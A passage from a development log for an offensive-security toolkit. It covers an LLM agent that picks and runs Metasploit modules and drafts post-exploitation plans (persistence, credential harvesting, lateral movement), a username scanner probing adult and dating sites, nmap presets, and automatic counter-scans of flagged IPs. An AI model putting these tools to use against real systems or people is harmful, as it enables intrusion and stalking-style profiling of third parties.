"TCP port scanner to identify open ports" +} + +Execute this module? (y/n): y +[*] Executing auxiliary/scanner/portscan/tcp... +[+] Module started as job 1 +``` + +**Quick Scan Target:** +- Runs multiple scanners automatically: + - TCP port scan (common ports) + - SMB version scanner + - SSH version scanner + +**Exploit Suggester:** +- Input target information (OS, services, versions) +- LLM suggests relevant exploits with: + - Module paths + - CVE numbers + - Success likelihood + - Descriptions + +**Post-Exploitation Helper:** +- Input current access level +- LLM provides structured plan: + - Privilege escalation techniques + - Persistence mechanisms + - Credential harvesting + - Lateral movement options + - Relevant post modules + +--- + +#### 4. Added Agent Hal to Main Menu + +**Updated Main Menu:** +``` + Main Menu + ────────────────────────────────────────────────── + + [1] Defense - Defensive security tools + [2] Offense - Penetration testing + [3] Counter - Counter-intelligence + [4] Analyze - Analysis & forensics + [5] OSINT - Open source intelligence + [6] Simulate - Attack simulation + + [7] Agent Hal - AI-powered security automation + + [99] Settings + [98] Exit +``` + +--- + +### Files Created + +| File | Lines | Purpose | +|------|-------|---------| +| modules/agent_hal.py | ~650 | Agent Hal AI automation module | + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| core/menu.py | Added Agent Hal to main menu (option 7), added `run_agent_hal()` method | + +--- + +### Key Methods in agent_hal.py + +**MITM Detection:** +| Method | Purpose | +|--------|---------| +| `full_mitm_scan()` | Run all MITM checks | +| `_check_arp_spoofing()` | Detect duplicate MACs | +| `_check_dns_spoofing()` | Compare DNS resolution | +| `_check_ssl_stripping()` | Test HTTPS connections | +| `_check_rogue_dhcp()` | Check DHCP servers | +| `_check_gateway()` | Verify gateway integrity | +| `continuous_monitoring()` | Real-time ARP monitoring | + +**MSF Automation:** +| Method | Purpose | +|--------|---------| +| `natural_language_msf()` | Process NL requests via LLM | +| `_execute_msf_module()` | Execute MSF module from LLM recommendation | +| `quick_scan_target()` | Run common scanners on target | +| `exploit_suggester()` | LLM-powered exploit recommendations | +| `post_exploitation_helper()` | LLM-powered post-exploitation guidance | + +--- + +### LLM System Prompts + +**For MSF Module Selection:** +``` +You are a Metasploit expert assistant. Your job is to translate +user requests into specific Metasploit module recommendations. + +Format response as JSON: +{ + "module_type": "auxiliary|exploit|post", + "module_path": "full/module/path", + "options": {"RHOSTS": "value"}, + "explanation": "Brief description" +} +``` + +**For Exploit Suggestion:** +``` +You are a penetration testing expert. Based on target information, +suggest relevant Metasploit exploits with: +- Module path +- CVE (if applicable) +- Success likelihood +- Brief description +``` + +--- + +### Notes + +- Agent Hal integrates with existing LLM (`core/llm.py`) and MSF (`core/msf.py`) modules +- MITM detection works without external dependencies (uses standard Linux tools) +- MSF automation requires msfrpcd running and configured in settings +- LLM model must be loaded for AI features (loads automatically on first use) +- Continuous monitoring can be stopped with Ctrl+C + +--- + +--- + +## Session 5 - 2026-01-19 - Username Scanner Improvements + +### User Request +> we need to improve the username search. we are still getting a lot of false positives and missing alot of sites that should be a positive. Lets look at how a few differnt apps work, https://github.com/snooppr/snoop, https://github.com/OSINTI4L/cupidcr4wl + +--- + +### Research Conducted + +Analyzed detection methods from two OSINT tools: + +**Snoop:** +- 4 error types: `message`, `status_code`, `response_url`, `redirection` +- Username validation (special chars, phone patterns, email extraction) +- Retry logic with alternate headers +- Exclusion regex patterns per site + +**CupidCr4wl:** +- Dual pattern matching: `check_text` (user exists) + `not_found_text` (user doesn't exist) +- Three-state results: found (green), not found (red), possible (yellow) +- Detection logic: + - If status 200 + check_text matches → Account found + - If status 200 + not_found_text matches → No account + - If status 200 + no matches → Possible account + +--- + +### Work Completed + +#### 1. CupidCr4wl-Style Detection Algorithm (modules/recon.py) + +Rewrote `_check_site()` method with cleaner detection logic: + +```python +# Detection priority: +# 1. If not_found_text matched → NOT FOUND (return None) +# 2. If check_text matched + username in content → FOUND (good) +# 3. If check_text matched only → POSSIBLE (maybe) +# 4. If username in content + status 200 → POSSIBLE (maybe) +# 5. Nothing matched → NOT FOUND (return None) +``` + +**Confidence Calculation:** +```python +if check_matched and (username_in_content or username_in_title): + status = 'good' + rate = min(100, 60 + (found_indicators * 10)) +elif check_matched: + status = 'maybe' + rate = 50 + (found_indicators * 10) +``` + +--- + +#### 2. Username Validation + +Added `validate_username()` method: + +```python +@staticmethod +def validate_username(username: str) -> Tuple[bool, str]: + # Checks: + # - Not empty + # - Min length 2, max length 100 + # - No invalid characters: <>{}[]|\^~` + # - Email detection (offers to extract username part) +``` + +--- + +#### 3. Site-Specific Detection Patterns + +Added `SITE_PATTERNS` dictionary with tailored patterns for 20+ platforms: + +```python +SITE_PATTERNS = { + 'reddit.com': { + 'check_text': ['karma', 'cake day', 'trophy-case'], + 'not_found_text': ['sorry, nobody on reddit goes by that name'], + }, + 'github.com': { + 'check_text': ['contributions', 'repositories', 'gist-summary'], + 'not_found_text': ['not found'], + }, + 'chaturbate.com': { + 'check_text': ['broadcaster_gender', 'room_status', 'bio', 'following'], + 'not_found_text': ['http 404', 'page not found', 'bio page not available'], + }, + # ... 20+ more platforms +} +``` + +**Categories Covered:** +- Social: Reddit, Twitter/X, Instagram, TikTok, Telegram, Tumblr +- Adult/Cam: Chaturbate, OnlyFans, Fansly, Pornhub, XVideos, Stripchat +- Art: DeviantArt, ArtStation, Fur Affinity, e621 +- Gaming: Twitch, Steam +- Dating: FetLife +- Other: GitHub, YouTube, Wattpad + +--- + +#### 4. User-Agent Rotation + +Added 6 different User-Agents for rotation: + +```python +USER_AGENTS = [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/119.0.0.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0', + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/605.1.15 Version/17.2', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0', +] +``` + +--- + +#### 5. Fixed Gzip Encoding Bug + +**Issue:** Responses were returning garbled binary data. + +**Cause:** `Accept-Encoding: gzip, deflate` header caused servers to send compressed responses that urllib doesn't auto-decompress. + +**Fix:** Removed the Accept-Encoding header: +```python +# Before (broken): +'Accept-Encoding': 'gzip, deflate', + +# After (fixed): +# Header removed - get uncompressed content +``` + +--- + +#### 6. Database Pattern Updates + +Updated detection patterns via SQL for major sites: + +```sql +-- Reddit +UPDATE sites SET error_string = 'sorry, nobody on reddit goes by that name', + match_string = 'karma' WHERE url_template LIKE '%reddit.com/%'; + +-- Chaturbate +UPDATE sites SET error_string = 'HTTP 404 - Page Not Found', + match_string = 'live on Chaturbate!' WHERE url_template LIKE '%chaturbate.com/%'; + +-- GitHub, OnlyFans, XHamster, Pornhub, etc. +``` + +--- + +#### 7. Fixed Chaturbate "Offline" False Positive + +**Issue:** Offline Chaturbate streamers were being marked as NOT FOUND. + +**Cause:** `"offline"` was in the `not_found_text` patterns, but offline streamers still have valid profile pages. + +**Fix:** Removed "offline" from not_found patterns: +```python +# Before (broken): +'not_found_text': ['offline', 'room is currently offline', 'bio page not available'], + +# After (fixed): +'not_found_text': ['http 404', 'page not found', 'bio page not available'], +``` + +--- + +### Test Results + +**Quick Scan (100 sites, username: `torvalds`):** +``` +Sites checked: 100 +Time elapsed: 20.4 seconds +Found (good): 6 +Possible (maybe): 16 +Restricted: 7 +Filtered (WAF): 2 +``` + +**Adult Sites Scan (50 sites, username: `admin`):** +``` +Sites checked: 50 +Time elapsed: 14.7 seconds +Found (good): 9 +Possible (maybe): 8 +``` + +**Chaturbate Verification:** +``` +fudnucker -> good (100%) ✓ Correctly detected +totally_fake_user_xyz -> NOT FOUND ✓ Correctly rejected +``` + +**GitHub/Reddit Verification:** +``` +torvalds (GitHub) -> good (100%) ✓ 3 patterns matched +spez (Reddit) -> good (100%) ✓ 3 patterns matched +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Rewrote detection algorithm, added username validation, site patterns, UA rotation, fixed gzip bug | +| data/sites/dh_sites.db | Updated detection patterns for major sites | + +--- + +### Key Improvements Summary + +| Feature | Before | After | +|---------|--------|-------| +| Detection method | Rate-based scoring | CupidCr4wl pattern matching | +| False positives | High | Significantly reduced | +| Chaturbate offline users | NOT FOUND | Correctly detected | +| Username validation | None | Length, chars, email detection | +| User-Agent | Single static | 6 rotating agents | +| Gzip handling | Broken (garbled) | Fixed (uncompressed) | + +--- + +### Notes + +- Detection now prioritizes `not_found_text` matches (if found, user definitely doesn't exist) +- Site-specific patterns override generic fallback patterns +- "offline" status on cam sites does NOT mean the profile doesn't exist +- Removed gzip Accept-Encoding to ensure readable responses +- Username validation prevents wasted requests on invalid inputs + +--- + +--- + +## Session 9 - 2026-02-03: MSF Module Search Fix + +### User Report + +> The issue we are having now is the metasploit modules do not show up in the offense menu, which means they are probably broken everywhere since the metasploit interface should be handling everything + +--- + +### Investigation + +#### Initial Diagnosis + +1. Verified Python module `modules/msf.py` loads correctly with `CATEGORY = "offense"` +2. Module appears in offense menu correctly +3. Issue was with actual Metasploit module searches returning empty or malformed results + +#### Root Cause Discovery + +Tested MSF interface search: + +```python +results = msf.search_modules('smb') +print(results[:5]) +``` + +Output showed dictionaries with **bytes keys**: +```python +{b'type': 'auxiliary', b'name': '...', b'fullname': 'auxiliary/admin/mssql/...'} +``` + +The code was trying to access `r.get('fullname')` but the actual key was `b'fullname'`, causing `None` returns. + +--- + +### Work Completed + +#### 1. Added Recursive Bytes Decoding (core/msf.py) + +**Problem:** Previous fix only decoded top-level dict. MSF searches return list of dicts where inner dicts still had bytes keys. + +**Solution:** Added `_decode_bytes()` method to `MetasploitRPC` class: + +```python +def _decode_bytes(self, obj): + """Recursively decode bytes to strings in msgpack responses. + + Args: + obj: Object to decode (dict, list, bytes, or other). + + Returns: + Decoded object with all bytes converted to strings. + """ + if isinstance(obj, bytes): + return obj.decode('utf-8', errors='replace') + elif isinstance(obj, dict): + return { + self._decode_bytes(k): self._decode_bytes(v) + for k, v in obj.items() + } + elif isinstance(obj, list): + return [self._decode_bytes(item) for item in obj] + elif isinstance(obj, tuple): + return tuple(self._decode_bytes(item) for item in obj) + else: + return obj +``` + +**Updated `_request()` method:** +```python +response_data = response.read() +result = msgpack.unpackb(response_data, raw=False, strict_map_key=False) + +# Recursively normalize bytes to strings throughout the response +result = self._decode_bytes(result) +``` + +--- + +#### 2. Fixed list_modules() API Method (core/msf.py) + +**Problem:** `list_modules()` was calling `module.list` which doesn't exist in MSF RPC API. + +**Error observed:** +``` +MSFError: MSF error: Unknown API Call: '"rpc_list"' +``` + +**Solution:** Changed to use correct API method names: + +```python +def list_modules(self, module_type: str = None) -> List[str]: + # Map module types to their API method names + # The MSF RPC API uses module.exploits, module.auxiliary, etc. + type_to_method = { + "exploit": "module.exploits", + "auxiliary": "module.auxiliary", + "post": "module.post", + "payload": "module.payloads", + "encoder": "module.encoders", + "nop": "module.nops", + } + + if module_type: + method = type_to_method.get(module_type) + if not method: + raise MSFError(f"Unknown module type: {module_type}") + result = self._request(method) + return result.get("modules", []) + else: + # Get all module types + all_modules = [] + for mtype in ["exploit", "auxiliary", "post", "payload"]: + try: + method = type_to_method.get(mtype) + result = self._request(method) + modules = result.get("modules", []) + all_modules.extend([f"{mtype}/{m}" for m in modules]) + except: + pass + return all_modules +``` + +--- + +#### 3. Updated Agent Hal to Use Centralized Interface (modules/agent_hal.py) + +**Problem:** Agent Hal was bypassing `core/msf_interface.py` and creating its own `MetasploitRPC` instance directly: + +```python +# OLD - Wrong approach +from core.msf import MetasploitRPC, get_msf_manager +manager = get_msf_manager() +self.msf = MetasploitRPC( + host=manager.host, # AttributeError: no such attribute + ... +) +``` + +**Solution:** Updated to use the centralized interface: + +```python +def _ensure_msf_connected(self) -> bool: + """Ensure MSF RPC is connected via the centralized interface.""" + if self.msf is None: + try: + from core.msf_interface import get_msf_interface + self.msf = get_msf_interface() + except ImportError: + self.print_status("MSF interface not available", "error") + return False + + # Use the interface's connection management + connected, msg = self.msf.ensure_connected(auto_prompt=False) + if connected: + self.msf_connected = True + self.print_status("Connected to MSF RPC", "success") + return True + else: + self.print_status(f"Failed to connect to MSF: {msg}", "error") + return False +``` + +--- + +#### 4. Updated Agent Hal Module Execution Methods + +**Problem:** Agent Hal was calling `execute_module(type, path, options)` which doesn't exist on `MSFInterface`. + +**Solution:** Updated `_execute_msf_module()` to use `run_module()`: + +```python +def _execute_msf_module(self, module_info: Dict): + """Execute an MSF module based on LLM recommendation.""" + try: + module_type = module_info.get('module_type', 'auxiliary') + module_path = module_info.get('module_path', '') + options = module_info.get('options', {}) + + # Ensure full module path format (type/path) + if not module_path.startswith(module_type + '/'): + full_path = f"{module_type}/{module_path}" + else: + full_path = module_path + + print(f"\n{Colors.CYAN}[*] Executing {full_path}...{Colors.RESET}") + + # Use the interface's run_module method + result = self.msf.run_module(full_path, options) + + if result.success: + print(f"{Colors.GREEN}[+] Module executed successfully{Colors.RESET}") + if result.findings: + print(f"\n{Colors.CYAN}Findings:{Colors.RESET}") + for finding in result.findings[:10]: + print(f" {finding}") + else: + print(f"{Colors.YELLOW}[!] {result.get_summary()}{Colors.RESET}") + + except Exception as e: + self.print_status(f"Execution failed: {e}", "error") +``` + +Updated `quick_scan_target()` similarly to use `run_module()`. + +--- + +### Files Modified + +| File | Lines Changed | Description | +|------|---------------|-------------| +| core/msf.py | +25, -8 | Added `_decode_bytes()`, fixed `list_modules()` | +| modules/agent_hal.py | +30, -25 | Switched to interface, updated method calls | + +--- + +### Verification Results + +**Module Search Test:** +``` +Search (eternalblue): 5 results + +[auxiliary] (2) + auxiliary/admin/smb/ms17_010_command + auxiliary/scanner/smb/smb_ms17_010 + +[exploit] (3) + exploit/windows/smb/ms17_010_eternalblue + exploit/windows/smb/ms17_010_psexec + exploit/windows/smb/smb_doublepulsar_rce +``` + +**Module Listing Test:** +``` +List exploits: 2604 modules +List auxiliary: 1322 modules +Module info (smb_version): SMB Version Detection ✓ +Module options: 56 options ✓ +``` + +**Full Application Test:** +``` +Main Menu > [2] Offense > [1] msf > [1] Search Modules > eternalblue +Found 5 module(s) ✓ +``` + +--- + +### Architecture Diagram + +``` +┌─────────────────────────────────────────────────────────────┐ +│ User Interface │ +├─────────────────────────────────────────────────────────────┤ +│ modules/msf.py modules/agent_hal.py modules/counter.py │ +│ │ │ │ │ +│ └───────────────────┼─────────────────────┘ │ +│ ▼ │ +│ ┌──────────────────────────┐ │ +│ │ core/msf_interface.py │ ← Single point │ +│ │ get_msf_interface() │ of contact │ +│ └──────────────────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌──────────────────────────┐ │ +│ │ core/msf.py │ │ +│ │ MetasploitRPC class │ ← RPC protocol │ +│ │ MSFManager class │ implementation │ +│ └──────────────────────────┘ │ +│ │ │ +│ ▼ │ +│ ┌──────────────────────────┐ │ +│ │ msfrpcd │ ← External │ +│ │ (Metasploit Framework) │ service │ +│ └──────────────────────────┘ │ +└─────────────────────────────────────────────────────────────┘ +``` + +All MSF operations now flow through `core/msf_interface.py`, ensuring fixes apply everywhere. + +--- + +## Session 10 - 2026-02-03: Offense Menu Overhaul + +### Overview + +Complete rewrite of the MSF/Offense menu interface with new foundation libraries for option descriptions and module metadata. This session was split into two phases: + +- **Phase 1a**: MSF Settings Term Bank (`core/msf_terms.py`) +- **Phase 1b**: MSF Module Library (`core/msf_modules.py`) +- **Phase 2**: Offense Menu Rewrite (`modules/msf.py` v2.0) + +--- + +### Phase 1a: MSF Settings Term Bank + +Created `core/msf_terms.py` - centralized definitions for all MSF options. + +#### Structure + +Each setting contains: +```python +'RHOSTS': { + 'description': 'The target host(s) to scan or exploit...', + 'input_type': 'host_range', # ip, port, string, boolean, path, etc. + 'examples': ['192.168.1.1', '192.168.1.0/24'], + 'default': None, + 'aliases': ['RHOST', 'TARGET'], + 'category': 'target', + 'required': True, + 'notes': 'For single-target exploits, use RHOST...', +} +``` + +#### Categories (14 total) + +| Category | Settings | +|----------|----------| +| target | RHOSTS, RHOST, RPORT, TARGETURI, VHOST, DOMAIN | +| local | LHOST, LPORT, SRVHOST, SRVPORT | +| auth | SMBUser, SMBPass, SMBDomain, HttpUsername, HttpPassword, SSH_USER, SSH_PASS, SSH_KEYFILE_B64 | +| payload | PAYLOAD, ENCODER, EXITFUNC, PrependMigrate, AutoLoadStdapi | +| connection | SSL, VHOST, Proxies, TIMEOUT, ConnectTimeout | +| scan | THREADS, PORTS, CONCURRENCY, ShowProgress | +| session | SESSION, TARGET | +| database | DATABASE, DB_ALL_CREDS, DB_ALL_HOSTS | +| output | OUTPUT, VERBOSE, LogLevel | +| smb | SMBUser, SMBPass, SMBDomain, SMBShare | +| http | TARGETURI, VHOST, HttpUsername, HttpPassword, SSL | +| ssh | SSH_USER, SSH_PASS, SSH_KEYFILE_B64 | +| execution | CMDSTAGER, WfsDelay, DisablePayloadHandler | +| file | FILENAME, RPATH, LPATH | + +#### API Functions + +```python +from core.msf_terms import ( + get_setting_info, # Get full setting metadata + get_setting_description, # Get just the description + get_setting_prompt, # Generate input prompt with default + format_setting_help, # Formatted help block for display + get_settings_by_category, # Get all settings in a category + get_common_settings, # List of commonly used settings + validate_setting_value, # Validate input value + list_all_settings, # List all setting names + list_categories, # List all categories +) +``` + +#### Validation Functions + +```python +def validate_setting_value(name: str, value: str) -> tuple: + """Returns (is_valid, message)""" + # Validates based on input_type: + # - host: IP address or hostname + # - port: 1-65535 + # - host_range: IP, CIDR, or range + # - boolean: true/false/yes/no + # - path: file path exists +``` + +--- + +### Phase 1b: MSF Module Library + +Created `core/msf_modules.py` - descriptions and metadata for common MSF modules. + +#### Structure + +Each module contains: +```python +'auxiliary/scanner/smb/smb_version': { + 'name': 'SMB Version Scanner', + 'description': 'Scans for SMB servers and identifies the operating system...', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', # excellent/great/good/normal/average/low + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'windows'], + 'notes': 'Safe to run - passive fingerprinting...', +} +``` + +#### Module Count by Type + +| Type | Count | Examples | +|------|-------|----------| +| Scanners (auxiliary/scanner/*) | 25 | smb_version, ssh_version, portscan/tcp | +| Exploits | 12 | ms17_010_eternalblue, bluekeep, proftpd_backdoor | +| Post-exploitation | 4 | hashdump, local_exploit_suggester | +| Payloads | 4 | meterpreter/reverse_tcp, shell/reverse_tcp | + +#### API Functions + +```python +from core.msf_modules import ( + get_module_info, # Get full module metadata + get_module_description, # Get just the description + search_modules, # Search by name, description, tags + get_modules_by_type, # Get by type (exploit, auxiliary, etc.) + get_modules_by_tag, # Get by tag (smb, scanner, etc.) + get_modules_by_platform, # Get by platform (windows, linux) + get_module_options, # Get module's key options + format_module_help, # Formatted help for display + list_all_modules, # List all module paths + get_module_count, # Count by type +) +``` + +--- + +### Phase 2: Offense Menu Rewrite + +Completely rewrote `modules/msf.py` from v1.1 to v2.0. + +#### New Features + +**1. Global Target Settings** + +Pre-configure target settings before browsing modules: +```python +self.global_settings = { + 'RHOSTS': '', # Target IP/range + 'LHOST': '', # Attacker IP (for reverse shells) + 'LPORT': '4444', # Listener port +} +``` + +Features: +- Settings persist across module selections +- Auto-filled when selecting modules +- Domain-to-IP resolution with confirmation +- Auto-detect LHOST from network interface + +**2. Module Browser** + +Category-based navigation: +```python +MODULE_CATEGORIES = { + 'scanners': {'types': ['auxiliary/scanner'], 'color': Colors.CYAN}, + 'exploits': {'types': ['exploit'], 'color': Colors.RED}, + 'post': {'types': ['post'], 'color': Colors.MAGENTA}, + 'payloads': {'types': ['payload'], 'color': Colors.YELLOW}, + 'auxiliary': {'types': ['auxiliary'], 'color': Colors.GREEN}, +} +``` + +Features: +- Pagination (20 modules per page) +- Two-column display for compact viewing +- Combines library modules + live MSF modules +- Navigation: [N]ext, [P]revious, number to select + +**3. Enhanced Module Details** + +Shows rich information from module library: +- Full description with word wrapping +- Author, CVE, reliability rating +- Usage notes and warnings +- Option to fetch live info from MSF + +**4. Streamlined Workflow** + +``` +Set Target → Browse/Search → Select Module → Configure → Run + +[1] Set Target → RHOSTS, LHOST, LPORT, domain resolution +[2] Module Browser → Category → Page → Select → Details → Use +[3] Search → Query → Results → Select → Details → Use +[4] Current Module → View options, set values, run +[5] Run Module → Confirm and execute +``` + +**5. Integration Points** + +```python +# Uses term bank for help text +from core.msf_terms import get_setting_info, format_setting_help, validate_setting_value + +# Uses module library for descriptions +from core.msf_modules import format_module_help, search_modules as library_search_modules, MSF_MODULES +``` + +#### Key Methods + +| Method | Purpose | +|--------|---------| +| `show_target_settings()` | Configure RHOSTS, LHOST, LPORT | +| `_set_rhosts()` | Set target with domain resolution | +| `_auto_detect_lhost()` | Get local IP via socket | +| `_resolve_hostname()` | DNS lookup utility | +| `show_module_browser()` | Category selection menu | +| `_browse_category()` | Paginated module list | +| `_show_module_details()` | Module info display | +| `_select_module()` | Load module and apply global settings | +| `search_modules()` | Combined library + MSF search | +| `show_current_module()` | View/configure selected module | +| `_show_all_options()` | Full options list | +| `_set_specific_option()` | Set option with term bank help | + +#### Auto-Fill Logic + +When selecting a module: +```python +# Apply global settings to module options +if self.global_settings['RHOSTS'] and 'RHOSTS' in options: + self.module_options['RHOSTS'] = self.global_settings['RHOSTS'] +if self.global_settings['RHOSTS'] and 'RHOST' in options: + self.module_options['RHOST'] = self.global_settings['RHOSTS'] +if self.global_settings['LHOST'] and 'LHOST' in options: + self.module_options['LHOST'] = self.global_settings['LHOST'] +if self.global_settings['LPORT'] and 'LPORT' in options: + self.module_options['LPORT'] = self.global_settings['LPORT'] +``` + +#### Domain Resolution + +```python +def resolve_hostname(self, hostname: str) -> Optional[str]: + """Resolve hostname to IP address.""" + try: + socket.inet_aton(hostname) # Already an IP + return hostname + except socket.error: + pass + try: + return socket.gethostbyname(hostname) + except socket.gaierror: + return None +``` + +--- + +### Files Created/Modified + +| File | Action | Lines | Description | +|------|--------|-------|-------------| +| `core/msf_terms.py` | Created | 1,130 | MSF settings term bank | +| `core/msf_modules.py` | Created | 1,200 | MSF module library | +| `modules/msf.py` | Rewritten | 1,232 | Enhanced offense menu v2.0 | +| `devjournal.md` | Updated | +130 | Session 10 summary | +| `DEVLOG.md` | Updated | +250 | Technical details | + +--- + +### Menu Screenshots + +**Main Menu:** +``` +Metasploit Framework +────────────────────────────────────────── + Status: Connected + Target: 192.168.1.100 + LHOST: 192.168.1.50 + Module: auxiliary/scanner/smb/smb_version + + [1] Set Target - Configure target & listener settings + [2] Module Browser - Browse modules by category + [3] Search Modules - Search all modules + + [4] Current Module - View/configure selected module + [5] Run Module - Execute current module + + [6] Sessions - View and interact with sessions + [7] Jobs - View running background jobs + + [8] MSF Console - Direct console access + [9] Quick Scan - Common scanners + + [0] Back to Main Menu +``` + +**Target Configuration:** +``` +Target Configuration + Set target and listener options before selecting modules +────────────────────────────────────────── + + [1] RHOSTS = 192.168.1.100 + The target host(s) to scan or exploit. Can be a single IP... + + [2] LHOST = (not set) + Your IP address that the target will connect back to... + + [3] LPORT = 4444 + The port your machine listens on for incoming connections... + + [A] Auto-detect LHOST + [R] Resolve hostname to IP + + [0] Back +``` + +**Module Browser (Scanners):** +``` +Scanners + Page 1 of 2 (25 modules) +────────────────────────────────────────── + + [ 1] SMB Version Scanner [ 2] SMB Share Enumeration + [ 3] SMB User Enumeration [ 4] MS17-010 Vulnerability... + [ 5] TCP Port Scanner [ 6] SSH Version Scanner + [ 7] SSH Login Brute Force [ 8] HTTP Version Scanner + [ 9] HTTP Directory Scanner [10] HTTP Title Scanner + [11] FTP Version Scanner [12] FTP Anonymous Login + + [N] Next page [P] Previous [0] Back +``` + +--- + +### Architecture Benefits + +1. **Centralized Knowledge** - Option descriptions and module info in one place +2. **Offline Documentation** - Help text available without MSF connection +3. **Consistent UX** - Same descriptions everywhere in the app +4. **Extensible** - Easy to add new settings and modules +5. **AI-Friendly** - Structured data for LLM context injection +6. **Validation** - Input validation with helpful error messages +7. **Auto-Fill** - Global settings reduce repetitive input + +--- + +### Future Integration Points + +The term bank and module library can be used by: +- `modules/agent_hal.py` - AI can reference descriptions for better understanding +- `core/pentest_pipeline.py` - Pipeline can use module metadata for task generation +- Report generation - Include module details in reports +- LLM prompts - Inject relevant option descriptions into context + +--- + +## Session 11 - 2026-02-14: Nmap Scanner & Scan Monitor + +### Overview + +Added two new tools to the AUTARCH framework: +1. **Nmap Scanner** integrated into the OSINT/Recon module +2. **Scan Monitor** in the Defense module for detecting incoming port scans and brute-force attempts + +--- + +### 1. Nmap Scanner (`modules/recon.py`) + +#### Menu Integration + +Added `[X] Nmap Scanner` under the Tools section of the OSINT menu, with handler in `run()` and press-enter-to-continue support. + +#### New Methods + +**`_check_nmap() -> bool`** +- Validates nmap availability via `which nmap` + +**`nmap_scanner()`** +- Submenu loop with 9 scan presets plus back option: + +``` +Nmap Scanner +────────────────────────────────────────────────── + [1] Top 100 Ports - Fastest common port scan + [2] Quick Scan - Default top 1000 ports + [3] Full TCP Scan - All 65535 ports (slow) + [4] Stealth SYN Scan - Half-open scan (needs root) + [5] Service Detection - Detect service versions (-sV) + [6] OS Detection - OS fingerprinting (needs root) + [7] Vulnerability Scan - NSE vuln scripts + [8] UDP Scan - Top 100 UDP ports (slow, needs root) + [9] Custom Scan - Enter your own nmap flags + [0] Back +``` + +- Prompts for target IP/hostname per scan +- Custom scan option [9] allows user-provided nmap flags + +**Nmap Flag Presets:** + +| # | Flags | Description | +|---|-------|-------------| +| 1 | `--top-ports 100 -T4` | Top 100 ports | +| 2 | `-T4` | Quick scan (top 1000) | +| 3 | `-p- -T4` | Full TCP (all 65535) | +| 4 | `-sS -T4` | Stealth SYN | +| 5 | `-sV -T4` | Service detection | +| 6 | `-O -T4` | OS fingerprinting | +| 7 | `--script vuln -T4` | Vulnerability scan | +| 8 | `-sU --top-ports 100 -T4` | UDP scan | +| 9 | user-provided | Custom | + +**`_run_nmap(target, flags, description, timeout=300)`** +- Validates non-empty target +- Builds command: `nmap {flags} {target}` +- Uses `subprocess.Popen` with `stdout=PIPE, stderr=STDOUT` for live streaming +- Color-coded output: + - Green: lines containing "open" (open ports) + - Dim: lines containing "closed" or "filtered" + - Cyan bold: "Nmap scan report" header lines +- Prints summary of all open ports found after scan completes +- Offers to save full output to `{target}_nmap.txt` + +#### Test Results + +Tested Top 100 scan on `127.0.0.1`: +``` +Scan: Top 100 Ports +Command: nmap --top-ports 100 -T4 127.0.0.1 + +Nmap scan report for localhost (127.0.0.1) + 22/tcp open ssh + 53/tcp open domain + 80/tcp open http + 139/tcp open netbios-ssn + 443/tcp open https + 445/tcp open microsoft-ds + 631/tcp open ipp + 8000/tcp open http-alt + 8080/tcp open http-proxy + 8888/tcp open sun-answerbook + +Open ports found: 10 +``` + +Scan completed in 0.05 seconds. Color coding, summary, and save prompt all working correctly. + +--- + +### 2. Scan Monitor (`modules/defender.py`) + +#### Menu Integration + +Added `[8] Scan Monitor - Detect & counter incoming scans` to the Defense menu, with handler in `run()` and press-enter-to-continue support. + +#### New Imports + +Added `re`, `time`, `threading`, `datetime` to the module imports. + +#### New Methods + +**`scan_monitor()`** +- Setup and launch method +- Checks tcpdump availability +- Prompts for: + - Counter-scan enable (y/n, default y) + - Whitelist IPs (comma-separated) +- Creates `results/` directory if missing +- Calls `_monitor_with_tcpdump()` + +**`_monitor_with_tcpdump(counter_scan: bool, whitelist: list)`** +- Core monitoring loop using tcpdump +- Auto-detects local IPs to skip (127.0.0.1, hostname IP, all IPs from `hostname -I`) +- Uses `sudo tcpdump` when not running as root (tcpdump requires packet capture privileges) +- SYN-only filter: `tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack == 0` +- Parses packets via regex: `IP (\d+\.\d+\.\d+\.\d+)\.\d+ > [\d.]+\.(\d+):` +- Per-IP tracking dict with: + - `ports`: set of unique destination ports + - `port_counts`: dict of connection counts per port + - `first_seen` / `last_seen` timestamps + - `alerted_scan`: bool (one-shot alert) + - `alerted_brute`: set of ports already alerted +- Detection thresholds: + - **Port scan**: 10+ unique ports within 30 seconds + - **Brute force**: 15+ connections to single port within 60 seconds +- On detection: + - Red alert for port scans, yellow for brute force + - Appends to `results/scan_monitor.log` + - Launches `_counter_scan()` in daemon thread if enabled +- Prunes stale tracker entries (>120s) every 5 seconds +- Ctrl+C handler: kills tcpdump, prints summary (total packets, threats, IPs logged) + +**`_counter_scan(ip, log_file)`** +- Runs `nmap --top-ports 100 -T4 -sV {ip}` with 120s timeout +- Parses open ports from output +- Prints summary: `[+] Counter-scan {ip}: N open ports (port,port,...)` +- Appends full nmap output to log file + +#### Display Format + +``` + Scan Monitor Active [Ctrl+C to stop] + ────────────────────────────────────────────────── + Counter-scan: Enabled | Log: results/scan_monitor.log + Whitelisted: 192.168.1.1 + Local IPs: 127.0.0.1, 192.168.1.100 + Monitoring on all interfaces... + + 14:23:05 [!] PORT SCAN detected from 192.168.1.50 (23 ports in 8s) + [*] Counter-scanning 192.168.1.50... + 14:23:18 [+] Counter-scan 192.168.1.50: 5 open ports (22,80,443,3306,8080) + 14:25:33 [!] BRUTE FORCE detected from 10.0.0.99 (42 connections to port 22 in 30s) + [*] Counter-scanning 10.0.0.99... +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| `modules/recon.py` | Added `[X]` menu entry, handler, `_check_nmap()`, `nmap_scanner()`, 